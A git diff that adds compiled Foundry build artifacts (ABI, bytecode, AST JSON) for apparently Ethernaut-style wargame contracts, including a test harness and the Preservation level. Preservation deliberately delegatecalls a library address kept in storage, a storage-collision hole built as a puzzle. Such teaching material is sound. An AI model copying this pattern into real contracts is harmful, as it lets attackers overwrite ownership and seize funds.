payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66287,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4713:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66289,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4719:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"4713:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66293,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4713:65:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66294,"nodeType":"ExpressionStatement","src":"4713:65:153"},{"expression":{"arguments":[{"id":66298,"name":"level_instance_2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65920,"src":"4812:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66299,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"4830:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66300,"name":"user3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65912,"src":"4847:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66295,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4788:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66297,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4794:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"4788:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66301,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4788:65:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66302,"nodeType":"ExpressionStatement","src":"4788:65:153"},{"expression":{"arguments":[{"id":66306,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65922,"src":"4887:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66307,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"4905:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66308,"name":"user3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65912,"src":"4922:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66303,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4863:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66305,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4869:17:153","memberName":"createNewInstance","nodeType":"MemberAccess","referencedDeclaration":55774,"src":"4863:23:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66309,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4863:65:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66310,"nodeType":"ExpressionStatement","src":"4863:65:153"},{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":66317,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":66314,"name":"block","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-4,"src":"4946:5:153","typeDescriptions":{"typeIdentifier":"t_magic_block","typeString":"block"}},"id":66315,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4952:9:153","memberName":"timestamp","nodeType":"MemberAccess","src":"4946:15:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"hexValue":"33","id":66316,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"4964:1:153","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"},"src":"4946:19:153","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":66311,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"4938:2:153","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66313,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4941:4:153","memberName":"warp","nodeType":"MemberAccess","referencedDeclaration":15502,"src":"4938:7:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$__$","typeString":"function (uint256) external"}},"id":66318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4938:28:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66319,"nodeType":"ExpressionStatement","src":"4938:28:153"},{"expression":{"arguments":[{"id":66323,"name":"level_instance_3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65922,"src":"4996:16:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66324,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"5014:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66325,"name":"user3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65912,"src":"5031:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66320,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"4976:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"4982:13:153","memberName":"submitSuccess","nodeType":"MemberAccess","referencedDeclaration":55918,"src":"4976:19:153","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_address_$_t_address_$returns$__$","typeString":"function (address,address,address) external"}},"id":66326,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"4976:61:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66327,"nodeType":"ExpressionStatement","src":"4976:61:153"},{"expression":{"arguments":[{"arguments":[{"id":66331,"name":"user3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65912,"src":"5097:5:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"id":66332,"name":"level_factory_1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65914,"src":"5104:15:153","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66329,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":65901,"src":"5056:5:153","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"id":66330,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"5062:34:153","memberName":"getTimeElapsedForCompletionOfLevel","nodeType":"MemberAccess","referencedDeclaration":56182,"src":"5056:40:153","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$_t_address_$returns$_t_uint256_$","typeString":"function (address,address) view external returns (uint256)"}},"id":66333,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5056:64:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"hexValue":"33","id":66334,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"5122:1:153","typeDescriptions":{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"},"value":"3"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_rational_3_by_1","typeString":"int_const 3"}],"id":66328,"name":"assertEq","nodeType":"Identifier","overloadedDeclarations":[344,362,377,395,449,467,521,539,554,572,616,634,649,667,684,704,721,741,758,778,795,815,832,852,869,889,906,926],"referencedDeclaration":377,"src":"5047:8:153","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":66335,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"5047:77:153","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66336,"nodeType":"ExpressionStatement","src":"5047:77:153"}]},"documentation":{"id":66072,"nodeType":"StructuredDocumentation","src":"1833:34:153","text":"@notice Add new level factory."},"functionSelector":"5e2d0f96","implemented":true,"kind":"function","modifiers":[],"name":"testLevel","nameLocation":"1881:9:153","parameters":{"id":66073,"nodeType":"ParameterList","parameters":[],"src":"1890:2:153"},"returnParameters":{"id":66074,"nodeType":"ParameterList","parameters":[],"src":"1900:0:153"},"scope":66339,"stateMutability":"nonpayable","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":65897,"name":"Test","nameLocations":["210:4:153"],"nodeType":"IdentifierPath","referencedDeclaration":12027,"src":"210:4:153"},"id":65898,"nodeType":"InheritanceSpecifier","src":"210:4:153"}],"canonicalName":"TestPlayer","contractDependencies":[56450,66673],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[66339,12027,11975,6655,6330,5537,3477,2695,65,62],"name":"TestPlayer","nameLocation":"196:10:153","scope":66340,"usedErrors":[],"usedEvents":[100,104,108,112,116,120,124,128,134,140,148,156,162,168,174,180,185,190,195,202,209,216]}],"license":"MIT"},"id":153} \ No newline at end of file diff --git a/contracts/out/Preservation.sol/LibraryContract.json b/contracts/out/Preservation.sol/LibraryContract.json new file mode 100644 index 000000000..6dd4ba15e --- /dev/null +++ b/contracts/out/Preservation.sol/LibraryContract.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"setTime","inputs":[{"name":"_time","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"}],"bytecode":{"object":"0x6080604052348015600e575f80fd5b5060878061001b5f395ff3fe6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b60396035366004603b565b5f55565b005b5f60208284031215604a575f80fd5b503591905056fea264697066735822122054cc42bda4d40361c35745312e36fbf52dd734c753eeb1e2c597d6ad1befd80764736f6c63430008180033","sourceMap":"1009:158:97:-:0;;;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x6080604052348015600e575f80fd5b50600436106026575f3560e01c80633beb26c414602a575b5f80fd5b60396035366004603b565b5f55565b005b5f60208284031215604a575f80fd5b503591905056fea264697066735822122054cc42bda4d40361c35745312e36fbf52dd734c753eeb1e2c597d6ad1befd80764736f6c63430008180033","sourceMap":"1009:158:97:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1091:74;;;;;;:::i;:::-;1140:10;:18;1091:74;;;14:180:155;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;-1:-1:-1;165:23:155;;14:180;-1:-1:-1;14:180:155:o","linkReferences":{}},"methodIdentifiers":{"setTime(uint256)":"3beb26c4"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"uint256\",\"name\":\"_time\",\"type\":\"uint256\"}],\"name\":\"setTime\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Preservation.sol\":\"LibraryContract\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Preservation.sol\":{\"keccak256\":\"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67\",\"dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"uint256","name":"_time","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"setTime"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Preservation.sol":"LibraryContract"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Preservation.sol":{"keccak256":"0x2c5c3c5d976eceb60f5d53aa61ab5daa76a4695ed817e27824e93c42e82baac7","urls":["bzz-raw://0feb7aa8f39515213a5524a48ff38a61b36a5ad492ace6a1a48a8307dbdcfd67","dweb:/ipfs/QmX316NuK3oYEAUdpyUnNHiztZs2SBJKjvRFkwSEo3tsZb"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Preservation.sol","id":54048,"exportedSymbols":{"LibraryContract":[54047],"Preservation":[54034]},"nodeType":"SourceUnit","src":"32:1136:97","nodes":[{"id":53964,"nodeType":"PragmaDirective","src":"32:23:97","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":54034,"nodeType":"ContractDefinition","src":"57:907:97","nodes":[{"id":53966,"nodeType":"VariableDeclaration","src":"117:31:97","nodes":[],"constant":false,"functionSelector":"3dc79422","mutability":"mutable","name":"timeZone1Library","nameLocation":"132:16:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53965,"name":"address","nodeType":"ElementaryTypeName","src":"117:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53968,"nodeType":"VariableDeclaration","src":"154:31:97","nodes":[],"constant":false,"functionSelector":"27d6974f","mutability":"mutable","name":"timeZone2Library","nameLocation":"169:16:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53967,"name":"address","nodeType":"ElementaryTypeName","src":"154:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53970,"nodeType":"VariableDeclaration","src":"191:20:97","nodes":[],"constant":false,"functionSelector":"8da5cb5b","mutability":"mutable","name":"owner","nameLocation":"206:5:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53969,"name":"address","nodeType":"ElementaryTypeName","src":"191:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"public"},{"id":53972,"nodeType":"VariableDeclaration","src":"217:18:97","nodes":[],"constant":false,"mutability":"mutable","name":"storedTime","nameLocation":"225:10:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":53971,"name":"uint256","nodeType":"ElementaryTypeName","src":"217:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"id":53980,"nodeType":"VariableDeclaration","src":"293:72:97","nodes":[],"constant":true,"mutability":"constant","name":"setTimeSignature","nameLocation":"309:16:97","scope":54034,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":53973,"name":"bytes4","nodeType":"ElementaryTypeName","src":"293:6:97","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"value":{"arguments":[{"arguments":[{"hexValue":"73657454696d652875696e7432353629","id":53977,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"345:18:97","typeDescriptions":{"typeIdentifier":"t_stringliteral_3beb26c427d03ceadbdaedc2f7aac4d9fc345b4fcbfc4b80654fee46dd7c349a","typeString":"literal_string \"setTime(uint256)\""},"value":"setTime(uint256)"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_3beb26c427d03ceadbdaedc2f7aac4d9fc345b4fcbfc4b80654fee46dd7c349a","typeString":"literal_string \"setTime(uint256)\""}],"id":53976,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"335:9:97","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53978,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"335:29:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"id":53975,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"328:6:97","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes4_$","typeString":"type(bytes4)"},"typeName":{"id":53974,"name":"bytes4","nodeType":"ElementaryTypeName","src":"328:6:97","typeDescriptions":{}}},"id":53979,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"328:37:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"},{"id":54001,"nodeType":"FunctionDefinition","src":"372:221:97","nodes":[],"body":{"id":54000,"nodeType":"Block","src":"452:141:97","nodes":[],"statements":[{"expression":{"id":53989,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53987,"name":"timeZone1Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53966,"src":"462:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53988,"name":"_timeZone1LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53982,"src":"481:24:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"462:43:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53990,"nodeType":"ExpressionStatement","src":"462:43:97"},{"expression":{"id":53993,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53991,"name":"timeZone2Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53968,"src":"515:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53992,"name":"_timeZone2LibraryAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53984,"src":"534:24:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"515:43:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53994,"nodeType":"ExpressionStatement","src":"515:43:97"},{"expression":{"id":53998,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53995,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53970,"src":"568:5:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"expression":{"id":53996,"name":"msg","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-15,"src":"576:3:97","typeDescriptions":{"typeIdentifier":"t_magic_message","typeString":"msg"}},"id":53997,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"580:6:97","memberName":"sender","nodeType":"MemberAccess","src":"576:10:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"568:18:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":53999,"nodeType":"ExpressionStatement","src":"568:18:97"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53985,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53982,"mutability":"mutable","name":"_timeZone1LibraryAddress","nameLocation":"392:24:97","nodeType":"VariableDeclaration","scope":54001,"src":"384:32:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53981,"name":"address","nodeType":"ElementaryTypeName","src":"384:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":53984,"mutability":"mutable","name":"_timeZone2LibraryAddress","nameLocation":"426:24:97","nodeType":"VariableDeclaration","scope":54001,"src":"418:32:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":53983,"name":"address","nodeType":"ElementaryTypeName","src":"418:7:97","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"383:68:97"},"returnParameters":{"id":53986,"nodeType":"ParameterList","parameters":[],"src":"452:0:97"},"scope":54034,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54017,"nodeType":"FunctionDefinition","src":"634:143:97","nodes":[],"body":{"id":54016,"nodeType":"Block","src":"683:94:97","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":54011,"name":"setTimeSignature","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53980,"src":"740:16:97","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"id":54012,"name":"_timeStamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54003,"src":"758:10:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":54009,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"723:3:97","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54010,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"727:12:97","memberName":"encodePacked","nodeType":"MemberAccess","src":"723:16:97","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":54013,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"723:46:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":54006,"name":"timeZone1Library","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53966,"src":"693:16:97","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":54008,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"710:12:97","memberName":"delegatecall","nodeType":"MemberAccess","src":"693:29:97","typeDescriptions":{"typeIdentifier":"t_function_baredelegatecall_nonpayable$_t_bytes_memory_ptr_$returns$_t_bool_$_t_bytes_memory_ptr_$","typeString":"function (bytes memory) returns (bool,bytes memory)"}},"id":54014,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"693:77:97","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_bool_$_t_bytes_memory_ptr_$","typeString":"tuple(bool,bytes memory)"}},"id":54015,"nodeType":"ExpressionStatement","src":"693:77:97"}]},"functionSelector":"f1e02620","implemented":true,"kind":"function","modifiers":[],"name":"setFirstTime","nameLocation":"643:12:97","parameters":{"id":54004,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54003,"mutability":"mutable","name":"_timeStamp","nameLocation":"664:10:97","nodeType":"VariableDeclaration","scope":54017,"src":"656:18:97","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":54002,"name":"uint256","nodeType":"ElementaryTypeName","src":"656:7:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"655:20:97"},"returnParameters":{"id":54005,"nodeType":"ParameterList","parameters":[],"src":"683:0:97"},"scope":54034,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":54033,"nodeType":"FunctionDefinition","src":"818:144:97","nodes":[],"body":{"id":54032,"nodeType":"Block","src":"868:94:97","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":54027,"name":"setTimeSignature","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53980,"src":"925:16:97","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},{"id":54028,"name":"_timeStamp","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54019,"src":"943:10:97","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes4","typeString":"bytes4"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":54025,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"908:3:97","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":54026,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"912:12:97","memberName":"encodePacked","nodeType":"MemberAccess","src":"908:16:97","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes 